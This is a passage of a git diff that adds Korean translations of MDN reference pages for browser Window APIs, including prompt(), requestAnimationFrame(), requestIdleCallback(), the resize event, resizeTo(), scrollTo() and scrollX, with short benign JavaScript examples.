+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.postMessage")}} </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Document.domain")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged pages</a></li>
+</ul>
diff --git a/files/ko/web/api/window/prompt/index.html b/files/ko/web/api/window/prompt/index.html
new file mode 100644
index 0000000000..7817f6e8b3
--- /dev/null
+++ b/files/ko/web/api/window/prompt/index.html
@@ -0,0 +1,94 @@
+---
+title: Window.prompt()
+slug: Web/API/Window/prompt
+tags:
+ - API
+ - DOM
+ - Method
+ - Reference
+ - Window
+translation_of: Web/API/Window/prompt
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p><code>Window.prompt()</code>는 사용자가 텍스트를 입력할 수 있도록 안내하는 선택적 메세지를 갖고 있는 대화 상자를 띄웁니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em>result</em> = window.prompt(<em>message</em>, <em>default</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사용자에게 보여줄 문자열. 프롬프트 창에 표시할 메세지가 없으면 생략할 수 있습니다.</dd>
+ <dt><code>default</code> {{optional_inline}}</dt>
+ <dd>텍스트 입력 필드에 기본으로 채워 넣을 문자열. Internet Explorer 7과 8에서는 이 인자에 값을 지정하지 않으면 문자열 <code>"undefined"</code>가 지정됨에 유의하세요.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>사용자가 입력한 문자열, 또는 <code>null</code>.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">let sign = prompt("당신의 별자리는 무엇입니까?");
+
+if (sign.toLowerCase() === "전갈자리") {
+  alert("와! 저도 전갈자리예요!");
+}
+
+// prompt 기능을 쓰는 방법은 다양합니다.
+sign = window.prompt(); // 빈 대화 상자를 엽니다.
+sign = prompt(); // 빈 대화 상자를 엽니다.
+sign = window.prompt("님 지금 기분 좋아요?"); // 안내 문구 "님 지금 기분 좋아요?"가 보이는 창을 띄웁니다.
+sign = window.prompt("님 지금 기분 좋아요?", "네."); // 안내 문구 "님 지금 기분 좋아요?"가 보이는 창을 띄우되 기본적으로 입력되어 있는 값은 "네."로 합니다.</pre>
+
+<p>사용자가 확인 버튼을 누르면 입력부의 문자열을 반환합니다. 만약 사용자가 아무것도 입력하지 않고 확인 버튼을 누르면 빈 문자열을 반환합니다. 만약 사용자가 취소 버튼을 누르면 <code>null</code>을 반환합니다.</p>
+
+<p>상기의 대화 상자는 OS X 상의 Chrome에서 다음과 같이 보입니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/11303/prompt.png"><img alt="prompt() dialog in Chrome on OS X" src="https://mdn.mozillademos.org/files/11303/prompt.png" style="height: 298px; width: 535px;"></a></p>
+
+<h2 id="Notes" name="Notes">비고</h2>
+
+<p>대화 상자는 한 줄의 텍스트 상자, 한 개의 취소 버튼과 한 개의 확인 버튼을 갖고, 사용자가 텍스트 상자에 입력한 문자열(빈 문자열일 수 있음)을 반환합니다.</p>
+
+<p>대화 상자는 modal window(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)로, 사용자는 대화 상자가 닫힐 때까지 나머지 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 modal window)를 만드는 함수를 남용하면 안 됩니다.</p>
+
+<p>이 함수가 반환하는 값은 문자열이라는 점에 유의하세요. 이는 사용자가 입력한 값을 다른 자료형으로 바꿔야 할 때가 있음을 뜻합니다. 예를 들어, 만약 사용자의 대답이 <code>Number</code>가 되어야 한다면 반환 값을 직접 변환해야 합니다.</p>
+
+<p> </p>
+
+<pre class="brush: js"><code>const aNumber = Number(window.prompt("Type a number", ""));</code></pre>
+
+<p> </p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-prompt', 'prompt()')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">브라우저 호환성</h2>
+
+<p>{{Compat("api.Window.prompt")}}</p>
+
+<h2 id="See_also" name="See_also">관련 문서</h2>
+
+<ul>
+ <li>{{domxref("window.alert", "alert")}}</li>
+ <li>{{domxref("window.confirm", "confirm")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/requestanimationframe/index.html b/files/ko/web/api/window/requestanimationframe/index.html
new file mode 100644
index 0000000000..d85946dee3
--- /dev/null
+++ b/files/ko/web/api/window/requestanimationframe/index.html
@@ -0,0 +1,112 @@
+---
+title: window.requestAnimationFrame()
+slug: Web/API/Window/requestAnimationFrame
+tags:
+ - API
+ - Animations
+ - DOM
+ - DOM 레퍼런스
+ - requestAnimationFrame
+ - 게임
+ - 그래픽
+ - 그리기
+ - 레퍼런스
+ - 메소드
+ - 성능
+ - 스케줄링
+ - 윈도우
+ - 자바스크립트 타이머
+ - 중급
+translation_of: Web/API/window/requestAnimationFrame
+---
+<p>{{APIRef}}<br>
+ <strong><code>window.requestAnimationFrame()</code></strong>은 브라우저에게 수행하기를 원하는 애니메이션을 알리고 다음 리페인트가 진행되기 전에 해당 애니메이션을 업데이트하는 함수를 호출하게 합니다. 이 메소드는 리페인트 이전에 실행할 콜백을 인자로 받습니다.</p>
+
+<div class="note"><strong>노트:</strong> 다음 리페인트에서 그 다음 프레임을 애니메이트하려면 콜백 루틴이 반드시 스스로 <code>requestAnimationFrame()</code>을 호출해야합니다.</div>
+
+<p>화면에 새로운 애니메이션을 업데이트할 준비가 될때마다 이 메소드를 호출하는것이 좋습니다. 이는 브라우저가 다음 리페인트를 수행하기전에 호출된 애니메이션 함수를 요청합니다. 콜백의 수는 보통 1초에 60회지만, 일반적으로 대부분의 브라우저에서는 W3C 권장사항에 따라 그 수가 디스플레이 주사율과 일치하게됩니다. 대부분의 최신 브라우저에서는 성능과 배터리 수명 향상을 위해 <code>requestAnimationFrame()</code> 호출은 백그라운드 탭이나 hidden {{ HTMLElement("iframe") }}에서 실행이 중단됩니다.</p>
+
+<p>콜백 메소드에는 <code>requestAnimationFrame()</code>이 대기된 콜백을 실행하는 시점을 나타내는 단일 인자 {{domxref("DOMHighResTimeStamp")}}가 전달됩니다. 따라서, 모든 이전 콜백의 작업 부하를 계산하는동안 시간이 지나갔음에도 불구하고 단일 프레임에서의 다중 콜백은 각각 동일한 타임스탬프를 받습니다. 이 타임스탬프는 밀리초 단위의 십진수지만, 최소 정밀도는 1ms (1000 µs) 입니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">window.requestAnimationFrame(callback);
+</pre>
+
+<h3 id="Parameters" name="Parameters">파라미터</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>다음 리페인트를 위한 애니메이션을 업데이트할 때 호출할 함수입니다. 콜백 함수에는 <code>requestAnimationFrame()</code>이 콜백 함수 실행을 시작할 때의 시점을 나타내는 {{domxref('performance.now()')}} 에 의해 반환되는 것과 유사한 {{domxref("DOMHighResTimeStamp")}} 단일 인자가 전달됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>콜백 리스트의 항목을 정의하는 고유한 요청 id 인 <code>long</code> 정수 값. 0 이 아니라는것 외에는 다른 추측을 할 수가 없는 값입니다. 이 값을 {{domxref("window.cancelAnimationFrame()")}} 에 전달해 콜백 요청을 취소할 수 있습니다.</p>
+
+<h2 id="Notes" name="Notes">예시</h2>
+
+<pre class="brush: js">var start = null;
+var element = document.getElementById('SomeElementYouWantToAnimate');
+element.style.position = 'absolute';
+
+function step(timestamp) {
+ if (!start) start = timestamp;
+ var progress = timestamp - start;
+ element.style.left = Math.min(progress / 10, 200) + 'px';
+ if (progress &lt; 2000) {
+ window.requestAnimationFrame(step);
+ }
+}
+
+window.requestAnimationFrame(step);
+</pre>
+
+<h2 id="노트">노트</h2>
+
+<p>인터넷 익스플로러와 Edge 17 버전 이하는 페인트 사이클 이전에 <code>requestAnimationFrame</code> 실행을 보장하지 않습니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#animation-frames', 'requestAnimationFrame')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>변경 사항 없음, 이 전 것을 대체.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('RequestAnimationFrame', '#dom-windowanimationtiming-requestanimationframe', 'requestAnimationFrame')}}</td>
+ <td>{{Spec2('RequestAnimationFrame')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.requestAnimationFrame")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("Window.cancelAnimationFrame()")}}</li>
+ <li><a href="http://weblogs.mozillazine.org/roc/archives/2010/08/mozrequestanima.html">mozRequestAnimationFrame</a> - 블로그 포스트</li>
+ <li><a href="http://paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for smart animating</a> - 블로그 포스트</li>
+ <li><a href="http://hacks.mozilla.org/2011/08/animating-with-javascript-from-setinterval-to-requestanimationframe/">Animating with javascript: from setInterval to requestAnimationFrame</a> - 블로그 포스트</li>
+ <li><a href="http://blogs.msdn.com/b/ie/archive/2011/07/05/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-1.aspx">Using PC Hardware more efficiently in HTML5: New Web Performance APIs, Part 1</a> - 블로그 포스트</li>
+ <li><a href="http://www.testufo.com/#test=animation-time-graph" title="http://www.testufo.com/#test=animation-time-graph">TestUFO: Test your web browser for requestAnimationFrame() Timing Deviations</a></li>
+ <li>Paul Irish: <a class="external external-icon" href="http://updates.html5rocks.com/2012/05/requestAnimationFrame-API-now-with-sub-millisecond-precision">requestAnimationFrame API: now with sub-millisecond precision</a></li>
+</ul>
diff --git a/files/ko/web/api/window/requestidlecallback/index.html b/files/ko/web/api/window/requestidlecallback/index.html
new file mode 100644
index 0000000000..e691bf3f07
--- /dev/null
+++ b/files/ko/web/api/window/requestidlecallback/index.html
@@ -0,0 +1,76 @@
+---
+title: window.requestIdleCallback()
+slug: Web/API/Window/requestIdleCallback
+tags:
+ - API
+ - DOM
+ - DOM Reference
+ - JavaScript timers
+ - Method
+ - Reference
+ - Window
+ - requestIdleCallback
+translation_of: Web/API/Window/requestIdleCallback
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>window.requestIdleCallback()</strong></code> 메서드는 브라우저의 idle 상태에 호출될 함수를 대기열에 넣습니다. 이를 통해 개발자는 애니메이션 및 입력 응답과 같은 대기 시간이 중요한 이벤트에 영향을 미치지 않고 메인 이벤트 루프에서 백그라운드 및 우선 순위가 낮은 작업을 수행 할 수 있습니다. 함수는 일반적으로 first-in-first-out(FIFO) 순서로 호출됩니다. 하지만, <code>timeout</code> 옵션이 지정된 callback은 제한 시간이 지나기 전에 이들을 실행하기 위해 순서에 맞지 않게 호출될 수 있습니다.</p>
+
+<p>idle callback 안에서  <code>requestIdleCallback()</code> 을 호출하여 다음 패스가 이벤트 루프를 통과하는 즉시 다른 callback을 예약할 수 있습니다.</p>
+
+<div class="note">필수적인 작업이라면 <code>timeout</code> 옵션을 사용하는 것을 강력히 권장합니다.  사용하지 않을 경우 callback이 실행되기전에 몇 초 이상 소요될 수 있습니다.</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>var <em>handle</em> = <em>window</em>.requestIdleCallback(<em>callback</em>[, <em>options</em>])</code></pre>
+
+<h3 id="Returns" name="Returns">Return value</h3>
+
+<p>실행 ID. {{domxref("window.cancelIdleCallback()")}} 메서드에 인자로 전달하여 callback 실행을 취소할 수 있습니다.</p>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>이벤트 루프가 유휴 상태가 될 때 호출되어야 하는 함수. callback 함수는 {{domxref("IdleDeadline")}} 객체를 인자로 전달받습으며 이 객체를 통해 타임아웃 기간이 만료되어 callback이 실행되었는지 여부를 알 수 있습니다.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>선택적으로 사용가능한 option 설정. 현재는 하나의 property만 정의 되어 있습니다 :
+ <ul>
+ <li><code>timeout</code>: 만약<code>timeout</code> 이 지정되어 있고 양수일 경우,  <em>timeout</em> 밀리세컨드가 지날 때까지 callback이 실행되지 않았다면 성능상에 부정적인 영향을 미치는 위험이 있더라도 다음 idle 상태에 callback이 호출됩니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a> 포스트의 <a href="/en-US/docs/Web/API/Background_Tasks_API#Example">complete example</a> 예제를 참조해 주십시오.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Background Tasks')}}</td>
+ <td>{{Spec2('Background Tasks')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Window.requestIdleCallback")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.cancelIdleCallback()")}}</li>
+ <li>{{domxref("IdleDeadline")}}</li>
+ <li>{{domxref("window.setTimeout()")}}</li>
+ <li>{{domxref("window.setInterval()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/resize_event/index.html b/files/ko/web/api/window/resize_event/index.html
new file mode 100644
index 0000000000..f2c38b598b
--- /dev/null
+++ b/files/ko/web/api/window/resize_event/index.html
@@ -0,0 +1,192 @@
+---
+title: resize
+slug: Web/API/Window/resize_event
+translation_of: Web/API/Window/resize_event
+---
+<p> </p>
+
+<p><span class="seoSummary"><strong><code>resize</code></strong> 이벤트는 document view의 크기가 변경될 때 발생합니다.</span></p>
+
+<p><code>window.onresize</code> 속성(어트리뷰트)을 사용하거나,<code>window.addEventListener('resize', ...)</code>를 사용하여, 이벤트 핸들러에 <code>resize</code> 이벤트를 등록할 수 있습니다.</p>
+
+<p>일부 브라우저의 이전 버전에서는 모든 HTML 요소(엘리먼트)에 <code>resize</code> 이벤트 핸들러를 등록 할 수 있었습니다. 여전히 <code>onresize</code> 속성을 사용하거나, {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용하여 모든 요소에 핸들러를 설정할 수 있습니다. 그러나 <code>resize</code> 이벤트는 오직 {{domxref("Window", "window")}}객체({{domxref("document.defaultView")}})에서만 발생합니다(전달합니다). <code>window</code> 객체에 등록된 핸들러만 이벤트를 수신합니다.</p>
+
+<p>모든 요소가 resize 변경을 알림받을 수 있도록 하는 새로운 제안(proposal 2017)이 있습니다. 드래프트문서를 읽으려면 <a href="https://wicg.github.io/ResizeObserver/">Resize Observer</a>를 참조하고, 진행중인 토론을 읽으려면 <a href="https://github.com/WICG/ResizeObserver/issues">Github issues</a> 문서를 참조하세요.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specifications</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize">DOM L3</a>, <a href="http://www.w3.org/TR/cssom-view/#resizing-viewports">CSSOM View</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">defaultView (window)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Property</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>target</code> {{readonlyInline}}</td>
+ <td><a href="/ko/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+ <td>이벤트 타겟(DOM 트리의 최상위 타겟).</td>
+ </tr>
+ <tr>
+ <td><code>type</code> {{readonlyInline}}</td>
+ <td><a href="/ko/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+ <td>이벤트의 타입.</td>
+ </tr>
+ <tr>
+ <td><code>bubbles</code> {{readonlyInline}}</td>
+ <td><a href="/ko/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+ <td>이벤트가 정상적으로 버블이 발생하는지 여부.</td>
+ </tr>
+ <tr>
+ <td><code>cancelable</code> {{readonlyInline}}</td>
+ <td><a href="/ko/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+ <td>이벤트 취소 가능 여부.</td>
+ </tr>
+ <tr>
+ <td><code>view</code> {{readonlyInline}}</td>
+ <td><a class="new" href="/ko/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+ <td><a href="/ko/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (문서의 <code>window</code>)</td>
+ </tr>
+ <tr>
+ <td><code>detail</code> {{readonlyInline}}</td>
+ <td><code>long</code> (<code>float</code>)</td>
+ <td>0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p><code>resize</code> 이벤트는 빈번하게 발생될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같은 계산이 많이 필요한 연산을 실행하지 않아야 합니다. 대신에 다음과 같이 <a href="/ko/docs/DOM/window.requestAnimationFrame" title="/en-US/docs/DOM/window.requestAnimationFrame">requestAnimationFrame</a>, <a href="/ko/docs/Web/API/WindowTimers/setTimeout">setTimeout</a>, <a href="/ko/docs/Web/API/CustomEvent">customEvent</a>* 등을 사용해 이벤트를 스로틀(throttle) 하는것이 좋습니다:<br>
+ <br>
+ <strong>* 주의: </strong>IE11은 제대로 작동하려면 <a href="https://developer.mozilla.org/ko/docs/Web/API/CustomEvent/CustomEvent#Polyfill">customEvent</a> 폴리필(polyfill)이 필요합니다.</p>
+
+<h3 id="requestAnimationFrame_customEvent">requestAnimationFrame + customEvent</h3>
+
+<pre class="brush: js">(function() {
+ var throttle = function(type, name, obj) {
+ obj = obj || window;
+ var running = false;
+ var func = function() {
+ if (running) { return; }
+ running = true;
+ requestAnimationFrame(function() {
+ obj.dispatchEvent(new CustomEvent(name));
+ running = false;
+ });
+ };
+ obj.addEventListener(type, func);
+ };
+
+ /* init - you can init any event */
+ throttle("resize", "optimizedResize");
+})();
+
+// handle event
+window.addEventListener("optimizedResize", function() {
+ console.log("Resource conscious resize callback!");
+});
+</pre>
+
+<h3 id="requestAnimationFrame">requestAnimationFrame</h3>
+
+<pre class="brush: js">var optimizedResize = (function() {
+
+ var callbacks = [],
+ running = false;
+
+ // fired on resize event
+ function resize() {
+
+ if (!running) {
+ running = true;
+
+ if (window.requestAnimationFrame) {
+ window.requestAnimationFrame(runCallbacks);
+ } else {
+ setTimeout(runCallbacks, 66);
+ }
+ }
+
+ }
+
+ // run the actual callbacks
+ function runCallbacks() {
+
+ callbacks.forEach(function(callback) {
+ callback();
+ });
+
+ running = false;
+ }
+
+ // adds callback to loop
+ function addCallback(callback) {
+
+ if (callback) {
+ callbacks.push(callback);
+ }
+
+ }
+
+ return {
+ // public method to add additional callback
+ add: function(callback) {
+ if (!callbacks.length) {
+ window.addEventListener('resize', resize);
+ }
+ addCallback(callback);
+ }
+ }
+}());
+
+// start process
+optimizedResize.add(function() {
+ console.log('Resource conscious resize callback!')
+});
+</pre>
+
+<h3 id="setTimeout">setTimeout</h3>
+
+<pre class="brush: js">(function() {
+
+ window.addEventListener("resize", resizeThrottler, false);
+
+ var resizeTimeout;
+ function resizeThrottler() {
+ // ignore resize events as long as an actualResizeHandler execution is in the queue
+ if ( !resizeTimeout ) {
+ resizeTimeout = setTimeout(function() {
+ resizeTimeout = null;
+ actualResizeHandler();
+
+ // The actualResizeHandler will execute at a rate of 15fps
+ }, 66);
+ }
+ }
+
+ function actualResizeHandler() {
+ // handle the resize event
+ ...
+ }
+
+}());</pre>
diff --git a/files/ko/web/api/window/resizeto/index.html b/files/ko/web/api/window/resizeto/index.html
new file mode 100644
index 0000000000..a00b232297
--- /dev/null
+++ b/files/ko/web/api/window/resizeto/index.html
@@ -0,0 +1,73 @@
+---
+title: Window.resizeTo()
+slug: Web/API/Window/resizeTo
+tags:
+ - API
+ - CSSOM View
+ - Method
+ - Reference
+ - Window
+translation_of: Web/API/Window/resizeTo
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Window.resizeTo()</code></strong> 메서드는 동적으로 창의 크기를 변경합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox notranslate">window.resizeTo(<em>width</em>, <em>height</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>새로운 {{domxref("window.outerWidth","outerWidth")}}를 나타내는 픽셀 단위 정수. 스크롤 바, 제목 표시줄 등을 모두 포함한 너비입니다.</dd>
+ <dt><code>height</code></dt>
+ <dd>새로운 {{domxref("window.outerHeight","outerHeight")}}를 나타내는 픽셀 단위 정수. 스크롤 바, 제목 표시줄 등을 모두 포함한 높이입니다.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>다음 함수는 창의 크기를 화면에서 사용 가능한 크기의 1/4로 설정합니다. {{domxref("Screen.availWidth")}}, {{domxref("Screen.availHeight")}} 속성도 참고하세요.</p>
+
+<pre class="brush:js notranslate">function quarter() {
+ window.resizeTo(
+ window.screen.availWidth / 2,
+ window.screen.availHeight / 2
+ );
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSSOM View', '#dom-window-resizeto', 'window.resizeTo()') }}</td>
+ <td>{{ Spec2('CSSOM View') }}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.resizeTo")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.resizeBy()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/scrollto/index.html b/files/ko/web/api/window/scrollto/index.html
new file mode 100644
index 0000000000..10fa9652f2
--- /dev/null
+++ b/files/ko/web/api/window/scrollto/index.html
@@ -0,0 +1,48 @@
+---
+title: Window.scrollTo()
+slug: Web/API/Window/scrollTo
+translation_of: Web/API/Window/scrollTo
+---
+<div>{{ APIRef }}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p><span class="sentence" id="mt1">문서의 지정된 위치로 스크롤합니다.</span></p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><code>window.scrollTo(<em>x-좌표</em>, <em>y-좌표</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<ul>
+ <li><code>x-좌표는 문서의 왼쪽상단부터 시작하는 </code>픽셀단위의 <code>가로축</code>입니다.</li>
+ <li><code>y-좌표는 문서의 왼쪽상단부터 시작하는 </code>픽셀단위의 세로축입니다.</li>
+</ul>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">window.scrollTo( 0, 1000 );</pre>
+
+<h2 id="Notes" name="Notes">노트</h2>
+
+<p>이 함수는 <a href="/en-US/docs/DOM/Window.scroll">window.scroll</a>과 효과적으로 같습니다. 스크롤링 관련 정보는 <a href="/en-US/docs/DOM/Window.scrollBy">window.scrollBy</a>, <a href="/en-US/docs/DOM/Window.scrollByLines">window.scrollByLines</a>, 그리고 <a href="/en-US/docs/DOM/Window.scrollByPages">window.scrollByPages</a>가 있습니다.</p>
+
+<h2 id="Specification" name="Specification">사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">상태</th>
+ <th scope="col">주해</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSSOM View', '#dom-window-scroll', 'window.scroll()') }}</td>
+ <td>{{ Spec2('CSSOM View') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/window/scrollx/index.html b/files/ko/web/api/window/scrollx/index.html
new file mode 100644
index 0000000000..e967d100e0
--- /dev/null
+++ b/files/ko/web/api/window/scrollx/index.html
@@ -0,0 +1,82 @@
+---
+title: Window.scrollX
+slug: Web/API/Window/scrollX
+tags:
+ - API
+ - CSSOM View
+ - Property
+ - Reference
+ - 스크롤
+translation_of: Web/API/Window/scrollX
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p><span class="seoSummary">{{domxref("Window")}} 인터페이스의 <code><strong>scrollX</strong></code> 읽기 전용 속성은 문서가 수평으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다.</span> 최신 브라우저에서는 값의 정밀도가 픽셀보다 작으므로 반드시 정숫값을 반환하는건 아닙니다. 수직 스크롤은 {{domxref("Window.scrollY", "scrollY")}} 속성을 사용하여 가져올 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">var x = window.scrollX</pre>
+
+<h3 id="값">값</h3>
+
+<p>반환하는 값은 문서가 원점으로부터 수평방향으로 스크롤한 픽셀의 수를 나타내는 배정밀도 부동소수점 값입니다. 양의 값이 왼쪽 스크롤을 의미합니다. 문서를 픽셀보다 작은 정밀도의 장치에서 렌더링한 경우 반환값의 정밀도도 높아져 소숫값을 반환할 수 있습니다. 문서가 좌우로 전혀 움직이지 않은 상태면 <code>0</code>을 반환합니다.</p>
+
+<div class="note">
+<p>정숫값이 필요하면 {{jsxref("Math.round()")}}를 사용해 반올림할 수 있습니다.</p>
+</div>
+
+<p>더 기술적인 용어로, <code>scrollX</code>는 현재 {{Glossary("viewport", "뷰포트")}} 왼쪽 모서리의 X좌표를 반환하고, 뷰포트가 없으면 0을 반환합니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>다음 예제는 문서의 현재 스크롤 위치가 400픽셀이 넘으면 맨 처음으로 돌아갑니다.</p>
+
+<pre class="brush: js">if (window.scrollX &gt; 400) {
+ window.scroll(0,0);
+}</pre>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p><code>pageXOffset</code> 속성은 <code>scrollX</code> 의 다른 이름입니다.</p>
+
+<pre class="brush: js">window.pageXOffset === window.scrollX; // 항상 true</pre>
+
+<p>브라우저 호환성을 위해서는 <code>window.scrollX</code> 대신 <code>window.pageXOffset</code>을 사용하세요. 이에 더해, Internet Explorer 9 미만에서는 두 속성 모두 지원하지 않으므로 다른 비표준 속성을 사용해야 합니다. 다음은 완벽히 호환되는 코드의 예시입니다.</p>
+
+<pre class="brush:js">var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#dom-window-scrollx', 'window.scrollX')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
